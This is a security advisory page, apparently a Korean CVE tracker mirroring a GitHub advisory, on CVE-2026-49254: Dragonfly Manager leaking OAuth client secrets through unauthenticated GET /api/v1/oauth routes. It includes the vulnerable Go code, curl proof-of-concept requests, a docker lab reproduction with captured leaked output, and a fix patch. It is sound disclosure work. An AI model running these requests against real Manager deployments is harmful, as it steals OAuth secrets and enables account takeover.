CVE-2026-49254LOWGHSA대응게시일: 2026. 07. 02.수정일: 2026. 07. 02.

Dragonfly Manager OAuth provider client_secret disclosure via unauthenticated GET /api/v1/oauth

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음

CVSS

—low

이론적 심각도 점수

EPSS

—

예측 데이터 없음

KEV

미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

CVSS 벡터 정보 없음

상세 설명

Summary

The Dragonfly Manager exposes GET /api/v1/oauth and GET /api/v1/oauth/:id to unauthenticated clients. The response body deserializes the entire manager/models.Oauth struct, which includes the client_secret field. Any network-reachable attacker can read the OAuth client secrets configured for github or google providers, defeating the confidentiality guarantee of those secrets and enabling subsequent abuse against the connected identity providers.

Affected versions

github.com/dragonflyoss/dragonfly <= v2.4.3 (and current main at commit 46a8f1e). The vulnerable wiring is present back to the introduction of OAuth GET handlers and was not addressed by GHSA-j8hf-cp34-g4j7 / CVE-2026-24124, whose remediation only added jwt + rbac middleware to the /jobs group.

Privilege required

Unauthenticated. The only precondition is that an administrator has registered at least one OAuth provider via POST /api/v1/oauth (a one-time setup for tenants that enable GitHub / Google sign-in).

Vulnerable code

manager/router/router.go:134-140 (v2.4.3) — the /oauth group registration:

text

 1// Oauth.
 2oa := apiv1.Group("/oauth")
 3oa.POST("", jwt.MiddlewareFunc(), rbac, h.CreateOauth)
 4oa.DELETE(":id", jwt.MiddlewareFunc(), rbac, h.DestroyOauth)
 5oa.PATCH(":id", jwt.MiddlewareFunc(), rbac, h.UpdateOauth)
 6oa.GET(":id", h.GetOauth)
 7oa.GET("", h.GetOauths)

Note the asymmetry inside the same oa route group: POST, PATCH, and DELETE explicitly attach jwt.MiddlewareFunc(), rbac as per-route middleware, but the two GET handlers omit both. Compare with the sibling group three lines below at manager/router/router.go:143-148, the /clusters group:

text

 1c := apiv1.Group("/clusters", jwt.MiddlewareFunc(), rbac)
 2c.POST("", h.CreateCluster)
 3c.DELETE(":id", h.DestroyCluster)
 4c.PATCH(":id", h.UpdateCluster)
 5c.GET(":id", h.GetCluster)
 6c.GET("", h.GetClusters)

Here the middleware pair is attached once at the group level, so every verb on /clusters is guarded. The OAuth GETs are an unguarded sibling of the same primitive that GHSA-j8hf-cp34-g4j7 (Jan 2026) patched on the /jobs group. This is sibling-method-dispatch-target of the AP-012 sub-shape lens: same module, same router file, same anchor primitive ("group lacking JWT + RBAC"), parallel GET methods missed.

The handler at manager/handlers/oauth.go:127-141 returns the model directly:

text

 1func (h *Handlers) GetOauth(ctx *gin.Context) {
 2	var params types.OauthParams
 3	if err := ctx.ShouldBindUri(&params); err != nil {
 4		ctx.JSON(http.StatusUnprocessableEntity, gin.H{"errors": err.Error()})
 5		return
 6	}
 7 
 8	oauth, err := h.service.GetOauth(ctx.Request.Context(), params.ID)
 9	if err != nil {
10		ctx.Error(err) // nolint: errcheck
11		return
12	}
13 
14	ctx.JSON(http.StatusOK, oauth)
15}

manager/handlers/oauth.go:155-171 has the parallel list handler:

text

 1func (h *Handlers) GetOauths(ctx *gin.Context) {
 2	var query types.GetOauthsQuery
 3	if err := ctx.ShouldBindQuery(&query); err != nil {
 4		ctx.JSON(http.StatusUnprocessableEntity, gin.H{"errors": err.Error()})
 5		return
 6	}
 7 
 8	h.setPaginationDefault(&query.Page, &query.PerPage)
 9	oauth, count, err := h.service.GetOauths(ctx.Request.Context(), query)
10	if err != nil {
11		ctx.Error(err) // nolint: errcheck
12		return
13	}
14 
15	h.setPaginationLinkHeader(ctx, query.Page, query.PerPage, int(count))
16	ctx.JSON(http.StatusOK, oauth)
17}

manager/models/oauth.go:19-26 declares ClientSecret with no json:"-" tag, so it is serialized into every response:

text

 1type Oauth struct {
 2	BaseModel
 3	Name         string `gorm:"column:name;type:varchar(256);index:uk_oauth2_name,unique;not null;comment:oauth2 name" json:"name"`
 4	BIO          string `gorm:"column:bio;type:varchar(1024);comment:biography" json:"bio"`
 5	ClientID     string `gorm:"column:client_id;type:varchar(256);index:uk_oauth2_client_id,unique;not null;comment:client id for oauth2" json:"client_id"`
 6	ClientSecret string `gorm:"column:client_secret;type:varchar(1024);not null;comment:client secret for oauth2" json:"client_secret"`
 7	RedirectURL  string `gorm:"column:redirect_url;type:varchar(1024);comment:authorization callback url" json:"redirect_url"`
 8}

How an unauthenticated request reaches the OAuth client_secret

gin.Engine routes GET /api/v1/oauth/:id to the oa group registered at manager/router/router.go:135. Because no middleware is attached at the group level and none is attached at the per-route level, the request bypasses jwt.MiddlewareFunc() (which would have set or rejected c.Get("id")) and middlewares.RBAC() (which would have called Casbin enforcement).
The request enters h.GetOauth (manager/handlers/oauth.go:127), which binds the :id path parameter and calls h.service.GetOauth.
service.GetOauth (manager/service/oauth.go) does s.db.First(&oauth, id) and returns the populated models.Oauth.
The handler calls ctx.JSON(http.StatusOK, oauth). The ClientSecret field is serialized as client_secret in the response body.

There is no PVR-style validator, no schema filter, no omitempty, and no DTO projection on the way. The audit middleware records the request as actor=unknown.

Proof of concept

bash

 1# (Assume Manager is reachable at $MANAGER and at least one OAuth provider
 2#  has been registered via the authenticated POST /api/v1/oauth path.)
 3 
 4curl -s $MANAGER/api/v1/oauth | python3 -m json.tool
 5curl -s $MANAGER/api/v1/oauth/1 | python3 -m json.tool

Both calls return HTTP 200 with a JSON body that includes client_secret.

End-to-end reproduction (against `dragonflyoss/manager:v2.4.3` on docker compose)

Boot the deployment with the project's stock deploy/docker-compose stack reduced to the Manager + its MySQL + Redis dependencies:

bash

 1mkdir -p /Users/rick/df2-poc/config
 2cp Dragonfly2/deploy/docker-compose/template/manager.template.yaml \
 3   /Users/rick/df2-poc/config/manager.yaml
 4# replace __IP__ with 127.0.0.1 (advertiseIP) and the redis addr with dragonfly-redis:6379
 5# enable the default JWT key line (the template ships it already).
 6 
 7cat > /Users/rick/df2-poc/docker-compose.yaml <<'YAML'
 8services:
 9  redis:
10    image: redis:6-alpine
11    container_name: dragonfly-redis
12    command: --requirepass dragonfly
13  mysql:
14    image: mariadb:10.6
15    container_name: dragonfly-mysql
16    environment:
17      - MARIADB_USER=dragonfly
18      - MARIADB_PASSWORD=dragonfly
19      - MARIADB_DATABASE=manager
20      - MARIADB_ALLOW_EMPTY_ROOT_PASSWORD=yes
21  manager:
22    image: dragonflyoss/manager:v2.4.3
23    container_name: dragonfly-manager
24    depends_on: [redis, mysql]
25    restart: on-failure
26    volumes:
27      - ./config/manager.yaml:/etc/dragonfly/manager.yaml:ro
28    ports:
29      - "18080:8080"
30YAML
31docker compose -f /Users/rick/df2-poc/docker-compose.yaml up -d
32until curl -fsS -o /dev/null http://localhost:18080/healthy; do sleep 2; done

Bootstrap one administrator and register an OAuth provider whose secret we plant as a sentinel:

bash

 1# Sign up + promote to root via the casbin_rule table (no other admin yet).
 2curl -s -X POST http://localhost:18080/api/v1/users/signup \
 3  -H 'Content-Type: application/json' \
 4  -d '{"name":"admin","password":"adminpass123","email":"admin@example.com"}'
 5docker exec dragonfly-mysql mysql -uroot -e \
 6  "USE manager; INSERT INTO casbin_rule (ptype, v0, v1) VALUES ('g','2','root');"
 7docker compose -f /Users/rick/df2-poc/docker-compose.yaml restart manager
 8until curl -fsS -o /dev/null http://localhost:18080/healthy; do sleep 2; done
 9 
10TOKEN=$(curl -s -X POST http://localhost:18080/api/v1/users/signin \
11  -H 'Content-Type: application/json' \
12  -d '{"name":"admin","password":"adminpass123"}' \
13  | python3 -c 'import sys,json; print(json.load(sys.stdin)["token"])')
14 
15curl -s -X POST http://localhost:18080/api/v1/oauth \
16  -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
17  -d '{"name":"github","client_id":"FAKE_CLIENT_ID_abc123",
18       "client_secret":"FAKE_CLIENT_SECRET_supersensitive_xyz789"}'

Captured run output of the actual attack (unauthenticated client):

text

 1=== [0] Baseline: /api/v1/clusters demands auth ===
 2HTTP 401
 3=== [1] Baseline: /api/v1/jobs demands auth (post GHSA-j8hf fix) ===
 4HTTP 401
 5 
 6=== [ATTACK A] Unauthenticated GET /api/v1/oauth -> secret leaks ===
 7HTTP 200
 8[
 9    {
10        "id": 1,
11        "name": "github",
12        "client_id": "FAKE_CLIENT_ID_abc123",
13        "client_secret": "FAKE_CLIENT_SECRET_supersensitive_xyz789",
14        "redirect_url": ""
15    }
16]
17 
18=== [ATTACK B] Unauthenticated GET /api/v1/oauth/1 -> secret leaks ===
19HTTP 200
20{
21    "id": 1,
22    "name": "github",
23    "client_id": "FAKE_CLIENT_ID_abc123",
24    "client_secret": "FAKE_CLIENT_SECRET_supersensitive_xyz789",
25    "redirect_url": ""
26}

Interpretation: /api/v1/clusters and /api/v1/jobs both reject the unauthenticated curl with 401 Unauthorized (the JWT + RBAC stack engages). The OAuth GETs return 200 OK plus the full row including client_secret. The Manager's own RBAC enforcement that exists for every other admin resource is bypassed for these two routes.

Fix verification (after applying the patch in the next section), the same harness must return 401 Unauthorized for both attack steps.

Impact

The OAuth sign-in feature is not actually used in practice within the Dragonfly project itself.
Unauthenticated disclosure of OAuth client_secret for GitHub / Google providers. A client_secret permits an attacker to mint OAuth tokens against the configured IdP for arbitrary callback URLs (subject to the provider's redirect-URI allowlist on that client), to impersonate the Manager during the OAuth handshake, and to construct phishing pages that look identical to the Manager's own redirect URL.
The same row also exposes client_id and redirect_url, both of which are useful for a follow-up account-takeover against any Manager user who relies on the OAuth sign-in flow.
Tenants who exposed the Manager's REST port (8080/tcp, default in the project's docker-compose.yaml and Helm chart) to a corporate network or the internet leak the secret to every host that can reach the port. Network-policy or ingress filtering does not mitigate this for in-cluster attackers.

CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) compounded by CWE-306 (Missing Authentication for Critical Function).

Suggested fix

Move the JWT and RBAC middleware to the route-group level, matching every other admin resource in the same file (/clusters, /scheduler-clusters, /seed-peers, /configs, /jobs after GHSA-j8hf, etc.). Additionally, drop ClientSecret from any read response by marking it json:"-" on the model, so even a future router regression cannot leak it.

text

 1--- a/manager/router/router.go
 2+++ b/manager/router/router.go
 3@@ Oauth.
 4-    oa := apiv1.Group("/oauth")
 5-    oa.POST("",   jwt.MiddlewareFunc(), rbac, h.CreateOauth)
 6-    oa.DELETE(":id", jwt.MiddlewareFunc(), rbac, h.DestroyOauth)
 7-    oa.PATCH(":id",  jwt.MiddlewareFunc(), rbac, h.UpdateOauth)
 8-    oa.GET(":id", h.GetOauth)
 9-    oa.GET("",    h.GetOauths)
10+    oa := apiv1.Group("/oauth", jwt.MiddlewareFunc(), rbac)
11+    oa.POST("",      h.CreateOauth)
12+    oa.DELETE(":id", h.DestroyOauth)
13+    oa.PATCH(":id",  h.UpdateOauth)
14+    oa.GET(":id",    h.GetOauth)
15+    oa.GET("",       h.GetOauths)

text

 1--- a/manager/models/oauth.go
 2+++ b/manager/models/oauth.go
 3@@ type Oauth struct {
 4-    ClientSecret string `gorm:"column:client_secret;type:varchar(1024);not null;comment:client secret for oauth2" json:"client_secret"`
 5+    ClientSecret string `gorm:"column:client_secret;type:varchar(1024);not null;comment:client secret for oauth2" json:"-"`

The first hunk mirrors exactly the shape applied for /clusters, /scheduler-clusters, /seed-peer-clusters, /seed-peers, /peers, /configs, /applications, /personal-access-tokens, /persistent-cache-tasks, /audits, and (post-GHSA-j8hf-cp34-g4j7) /jobs. The second hunk adds a defense-in-depth pin so that if the OAuth registration handler is ever consumed by a future routing change, the secret stays out of the JSON contract.

Fix PR

https://github.com/dragonflyoss/dragonfly-ghsa-4q9j-6299-gxmr/pull/1 (temp private fork PR opened on the advisory's embargo-private fork).

Workarounds

The OAuth sign-in feature is not actually used in practice within the Dragonfly project itself.

Credit

Reported by tonghuaroot.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.

참고 자료 2

링크 내용 불러오는 중…

위협 신호 · CVSS · EPSS · KEV

CVSS 벡터 · 메트릭

상세 설명

Summary

Affected versions

Privilege required

Vulnerable code

How an unauthenticated request reaches the OAuth client_secret

Proof of concept

End-to-end reproduction (against dragonflyoss/manager:v2.4.3 on docker compose)

Impact

Suggested fix

Fix PR

Workarounds

Credit

AI 심층 분석

참고 자료 2

End-to-end reproduction (against `dragonflyoss/manager:v2.4.3` on docker compose)